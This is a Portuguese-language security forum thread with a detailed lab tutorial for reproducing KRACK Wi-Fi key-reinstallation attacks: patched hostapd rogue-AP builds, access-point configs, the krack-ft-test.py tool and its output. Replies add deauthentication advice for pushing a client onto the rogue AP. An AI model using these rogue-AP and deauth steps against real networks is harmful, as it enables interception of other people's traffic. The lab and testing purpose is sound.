Do Zero Ao Um - Professores ncaio Postado Outubro 20, 2017 em 14:32 Do Zero Ao Um - Professores Compartilhar Postado Outubro 20, 2017 em 14:32 Este texto é a resultante de horas e horas de analises, testes e decepções. Aqui é descrito todo o passo a passo da instalação e configuração de um ambiente propício a execução do código testador de pontos de acesso vulneráveis a ataque KRACK - FT (Fast BSS Transition - IEEE 802.11r - CVE-2017-13082 / FT) disponível em https://github.com/vanhoefm/krackattacks-test-ap-ft. Assim como um ataque KRACK em clientes WPA1 e WPA2 (https://www.krackattacks.com). Em ambos os casos, o vetor principal quebra/anula o processo WPA 4-way handshake. No 2017-130xx um rogue AP preparado para pular o handshake é utilizado. Já na CVE-2017-13082 / FT, uma requisição de reassociação FT pode levar um AP a reinstalação de chaves, ao contrário da Krack attack onde isso ocorre no lado cliente. CVE-2017-130xx * AP "falso" é configurado para o ataque KRACK; * Este rogue AP deve ficar próximo da vítima para garantir que ele tenha maior sinal em relação ao AP onde a vítima se encontra; * Vítima é força a se desassociar do AP alvo; * Vítima inicia processo de WPA 4-way handshake com o AP "falso" ; * Ap "falso" descarta handshake; * Vítima se associa ao rogue AP e começa a enviar quadros não criptografados CVE-2017-13082 / FT * É preciso identificar APs com FT; * Se trata de um ambiente com roaming (fast roaming). As células clientes trocam de access points pertencentes ao mesmo grupo quando estão em movimento, por exemplo; * Segundo Vanhoef, não se trata de um ataque contra especificações. E sim que foi observado trocas de chaves em alguns APs que não implementaram corretamente a máquina de estado 802.11 (http://community.arubanetworks.com/t5/Technology-Blog/Understanding-802-11-State-Machine/ba-p/270933); * Existe um app para teste em https://github.com/vanhoefm/krackattacks-test-ap-ft CVE-2017-130xx LAB Seguir o procedimento de instalação contidos em https://github.com/vanhoefm/blackhat17-pocs/tree/master/openbsd, especificamente o script get-and-compile-mitm.sh. Ele irá realizar o download do código fonte do hospad, aplicar o patch do Vanhoef e compilar. Este processo só será bem realizado se todas as dependências estiverem corretamente instaladas. Foi utilizada uma VM com Slackware, mas pode ser perfeitamente configurado em outras distribuições. Lembrar dos pacotes de compiladores, build-essential ou Development Tools, por exemplo, e os citados no repositório (libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev rfkill). Foram criados dois access points, um é o rogue e o outro um AP (linux+hostapd) com configurações relevantes ao teste. Pode ser VM ou bare metal. 2 wireless cards em modo AP e um celular com Android para teste. Pode ser uma máquina linux com wpa_suplicant. |ap-rogue| |ap-da-vitima| \ / \ X \ / Android Linux ROGUE AP git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 openbsd-mitm cd openbsd-mitm wget https://raw.githubusercontent.com/vanhoefm/asiaccs2017-pocs/master/openbsd/mitm_poc.patch git apply mitm_poc.patch cd hostapd cp defconfig .config make * Modificar a flag ssid para o mesmo do alvo * Modificar a flag da interface Arquivo de proposto. interface=wlan1 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=-1 fragm_threshold=-1 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 wpa=3 wpa_passphrase=password wpa_pairwise=CCMP rsn_pairwise=CCMP Execução ./hostap ap-rogue.conf AP VÍTIMA Assim como no rogue ap, você pode executar onde desejar. Instale o hostapd e utilize o arquivo proposto a seguir. Se você utilizou o arquivo de conf anterior proposto para o rogue ap, apenas precisará modificar a interface. ap-da-vitima.conf interface=wlan0 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=6 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=-1 fragm_threshold=-1 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 wpa=3 wpa_passphrase=abcdefgh wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP Execução ./hostap ap-da-vitima.conf O próximo passo é realizar um deauth, forçar que a célula troque de AP. Daqui para frente são testes e mais testes até recriar o cenário perfeito. No entanto, o laboratório já pode ser utilizado. Passaremos para o laboratório com FT. CVE-2017-13082 / FT Este é um cenário um pouco mais complexo de ser recriado. Foram utilizados 3 cartões adaptadores wireless, onde 2 em modo AP e um operando como cliente/monitor. Além de habilitar o suporte a IEEE 802.11r no wpa_supplicant e hostapd. Criando o primeiro AP com FT * Instale todos pré requisitos para poder compilar o código fonte do hostapd; * Certifique-se que o cartão wireless foi detectado e suporta a operação AP; * Download do repositório; git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 cd hostap/hostapd/ * Criar arquivo .config com o seguinte conteúdo CONFIG_DRIVER_HOSTAP=y CONFIG_DRIVER_NL80211=y CONFIG_LIBNL32=y CONFIG_IAPP=y CONFIG_RSN_PREAUTH=y CONFIG_PEERKEY=y CONFIG_IEEE80211W=y CONFIG_EAP=y CONFIG_ERP=y CONFIG_EAP_MD5=y CONFIG_EAP_TLS=y CONFIG_EAP_MSCHAPV2=y CONFIG_EAP_PEAP=y CONFIG_EAP_GTC=y CONFIG_EAP_TTLS=y CONFIG_PKCS12=y CONFIG_IPV6=y CONFIG_IEEE80211R=y * Compilar com o comando make; * Ao final você terá suporte a 802.11r; * Utilize o arquivo de configuração proposto a seguir para o hostap -> ap1-ft.conf; * Modifique a interface; interface=wlx001d0fa54d3c logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=0 nas_identifier=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=FT-PSK wpa_pairwise=CCMP rsn_preauth=1 pmk_r1_push=1 mobility_domain=0101 Execução Citar ./hostapd ap1-ft.conf Criando o segundo AP com FT São os mesmo passos anteriores, mudando apenas o arquivo de configuração ap2-ft.conf, neste caso. * Utilize o arquivo de configuração proposto a seguir para o hostap -> ap2-ft.conf; * Modifique a interface; interface=wlx001d0fa54d3c logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=6 beacon_int=100 dtim_period=2 max_num_sta=255 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=0 nas_identifier=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=FT-PSK wpa_pairwise=CCMP rsn_preauth=1 pmk_r1_push=1 mobility_domain=0101 Execução ./hostapd ap1-ft.conf [ krackattacks-test-ap-ft ] Mantenha os dois APs em execução e passe para a instalação do krackattacks-test-ap-ft. Neste caso utilizaremos o adaptador com suporte a modo monitor para recriar os testes realizados utilizando a ferramenta. * Instale todos pré requisitos para poder compilar o código fonte do hostapd; * Certifique-se que o cartão wireless foi detectado e suporta a operação monitor; * Compilar wpa_supplicant com suporte 802.11r git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 cd hostap/wpa_supplicant/ * Criar arquivo .config com o seguinte conteúdo CONFIG_DRIVER_WEXT=y CONFIG_DRIVER_NL80211=y CONFIG_LIBNL32=y CONFIG_DRIVER_WIRED=y CONFIG_IEEE8021X_EAPOL=y CONFIG_EAP_MD5=y CONFIG_EAP_MSCHAPV2=y CONFIG_EAP_TLS=y CONFIG_EAP_PEAP=y CONFIG_EAP_TTLS=y CONFIG_EAP_GTC=y CONFIG_EAP_OTP=y CONFIG_EAP_LEAP=y CONFIG_PKCS12=y CONFIG_SMARTCARD=y CONFIG_CTRL_IFACE=y CONFIG_BACKEND=file CONFIG_PEERKEY=y CONFIG_IEEE80211R=y * Compilar com o comando make; * Você terá suporte a 802.11r; * Criar arquivo network.conf com o seguinte conteúdo: ctrl_interface=/var/run/wpa_supplicant network={ ssid="POC" key_mgmt=FT-PSK psk="password" } * Teste o suporte a FT executando o comando: ./wpa_supplicant -D nl80211 -i suainterface0 -c network.conf * Se não retornar erros, pode finalizar o teste com control+c * Download do repositório; git clone https://github.com/vanhoefm/krackattacks-test-ap-ft.git cd krackattacks-test-ap-ft * Desabilitar proteções utilizando o script disable-hwcrypto.sh ./disable-hwcrypto.sh * Reboot * A app (krackattacks-test-ap-ft) é escrita em python e requer a instalação de bibliotecas. A captura e injeção de pacotes é feita com a lib scapy. Utilize seu gerenciador de pacotes ou pip para instalação. * Para testar o funcionamento, execute o krack-ft-test.py * A saída esperada é: ./krack-ft-test.py ./krack-ft-test.py - Tool to test Key Reinstallation Attacks against an AP To test wheter an AP is vulnerable to a Key Reinstallation Attack against the Fast BSS Transition (FT) handshake, take the following steps: 1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere with our script. So disable hardware encryption by executing: ./disable-hwcrypto.sh This only needs to be done once. It's recommended to reboot after executing this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc` or similar to confirm the nohwcript/.. param has been set. We tested this with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2. 2. Create a wpa_supplicant configuration file that can be used to connect to the network. A basic example is: ... CONTINUA * Este programa é um wrapper que utilizará o wpa_supplicant com suporte 802.11r compilado anteriormente; * Recomendo copiar o binário do wpa_supplicant com suporte a 802.11r para a pasta raiz do krackattacks-test-ap-ft; * Identifique seu adaptador de rede, wlan0, por exemplo. * Pare o seu gerenciador de redes, caso utilize. * Execução do krack attack test: ./krack-ft-test.py /caminho/do/wpa_supplicant/comsuporte/iee80211/wpa_supplicant -D nl80211 -i wlan0 -c network.conf * Saída esperada ./krack-ft-test.py ./wpa_supplicant -D nl80211 -i wlan1 -c network.conf [12:40:09] Note: disable Wi-Fi in your network manager so it doesn't interfere with this script Successfully initialized wpa_supplicant wlan1: SME: Trying to authenticate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz) wlan1: Trying to associate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz) [12:40:36] Detected normal association frame wlan1: Associated with 02:1d:0f:a5:4d:30 wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP] wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=] * OBS: A partir deste momento, você precisa realizar o processo de roaming entre os dois APS. O wrapper fica aguardando por quadros de retransmissão para iniciar o skip e levar o Ap a retransmissão de chaves. * Utilize o comando wpa_cli para o roaming (este binário é gerado junto com o wpa_supplicant). wpa_cli wpa_cli v2.5 Copyright (c) 2004-2015, Jouni Malinen <j@w1.fi> and contributors This software may be distributed under the terms of the BSD license. See README for more details. Selected interface 'wlan1' Interactive mode > * Realizar Scan > scan OK <3>CTRL-EVENT-SCAN-STARTED <3>CTRL-EVENT-SCAN-RESULTS * Visualizar resultado > scan_results bssid / frequency / signal level / flags / ssid 02:1d:0f:a5:4d:30 2412 -20 [WPA2-FT/PSK-CCMP-preauth][ESS] POC 00:1a:3f:24:ce:f2 2437 -56 [WPA2-FT/PSK-CCMP-preauth][ESS] POC > * Visualizando status atual > status bssid=02:1d:0f:a5:4d:30 freq=2412 ssid=POC id=0 mode=station pairwise_cipher=CCMP group_cipher=CCMP key_mgmt=FT-PSK wpa_state=COMPLETED address=00:40:0c:02:c6:60 * Migrar de células roam 00:1a:3f:24:ce:f2 * A partir deste momento o wrapper será sensibilizado a iniciar o ataque; * Saída esperada [12:55:09] Detected FT reassociation frame wlan1: Associated with 02:1d:0f:a5:4d:30 wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP] wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=] wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 [12:55:10] Replaying Reassociation Request [12:55:11] Replaying Reassociation Request [12:55:12] Replaying Reassociation Request [12:55:14] Replaying Reassociation Request [12:55:15] Replaying Reassociation Request [12:55:16] Replaying Reassociation Request [12:55:17] Replaying Reassociation Request [12:55:18] Replaying Reassociation Request [12:55:19] Replaying Reassociation Request [12:55:20] Replaying Reassociation Request [12:55:21] Replaying Reassociation Request Basicamente é isso. Estes são os passos para recriar um ambiente de teste para KRACK ATTACK. Link para o comentário Compartilhar em outros sites More sharing options...
Ceoz Postado Outubro 26, 2017 em 00:12 Compartilhar Postado Outubro 26, 2017 em 00:12 "Configuration file: ap-rogue.conf nl80211: Could not configure driver mode nl80211: deinit ifname=wlan0 disabled_11b_rates=0 nl80211 driver initialization failed. wlan0: interface state UNINITIALIZED->DISABLED wlan0: AP-DISABLED hostapd_free_hapd_data: Interface wlan0 wasn't started" O primeiro ambiente pra mim retornando isso, eu sou bem newba então talvez seja erro meu. Link para o comentário Compartilhar em outros sites More sharing options...
Do Zero Ao Um - Professores ncaio Postado Outubro 26, 2017 em 16:22 Autor Do Zero Ao Um - Professores Compartilhar Postado Outubro 26, 2017 em 16:22 Olá @Ceoz, obrigado pelo interesse na postagem. Cara, isso aí pode ser duas coisas: Você vai precisar para o serviço de gerenciamento de rede da sua distribuição. debian /etc/init.d/network-manager stop slackware /etc/rc.d/rc.networkmanager stop Seu adaptador wireless não suporta o modo AP Para saber, você vai precisar executar comandos para descobrir ou pesquisar sobre a relação seu modelo e modo AP. Link para o comentário Compartilhar em outros sites More sharing options...
Ceoz Postado Outubro 27, 2017 em 13:44 Compartilhar Postado Outubro 27, 2017 em 13:44 root@ceoz:~/openbsd-mitm/hostapd# ./hostapd ap-rogue.conf Configuration file: ap-rogue.conf Using interface wlan0 with hwaddr c0:cb:38:1d:5b:06 and ssid "DIRECT-Hx" wlan0: interface state UNINITIALIZED->ENABLED wlan0: AP-ENABLED 21 horas atrás, ncaio disse: Olá @Ceoz, obrigado pelo interesse na postagem. Cara, isso aí pode ser duas coisas: Você vai precisar para o serviço de gerenciamento de rede da sua distribuição. debian /etc/init.d/network-manager stop slackware /etc/rc.d/rc.networkmanager stop Seu adaptador wireless não suporta o modo AP Para saber, você vai precisar executar comandos para descobrir ou pesquisar sobre a relação seu modelo e modo AP. Haha, burrice minha mesmo, esqueci de desativar o network manager, o pior é que nos proprios arquivos do github da aplicação pra teste da rede tem a info de que preciso desativar o network manager pra ele não interferir no funcionamento do teste. Agora tenho outra pergunta, como exatamente eu faria pra redirecionar o cliente pro meu AP automaticamente (como visto nos videos do uso desta falha) o deauth em si eu poderia fazer com aireplay e tudo mais, mas a questão de redirecionar usando beacons e tudo mais eu não faço nem ideia, pode me dar uma ajuda com algum link ou algo do tipo ? Link para o comentário Compartilhar em outros sites More sharing options...
Do Zero Ao Um - Professores ncaio Postado Outubro 27, 2017 em 14:04 Autor Do Zero Ao Um - Professores Compartilhar Postado Outubro 27, 2017 em 14:04 Olha só, se preocupe em fazer o deauth. Pode ser com o airplay, jammer ou manual (desativa interface de rede do cliente e ativa novamente). No entanto, o lab vai ocupar seu adaptador de redes com o hostap, ou seja, talvez você precise de outro adaptador para injetar o detauth Link para o comentário Compartilhar em outros sites More sharing options...
Posts Recomendados
Arquivado
Este tópico foi arquivado e está fechado para novas respostas.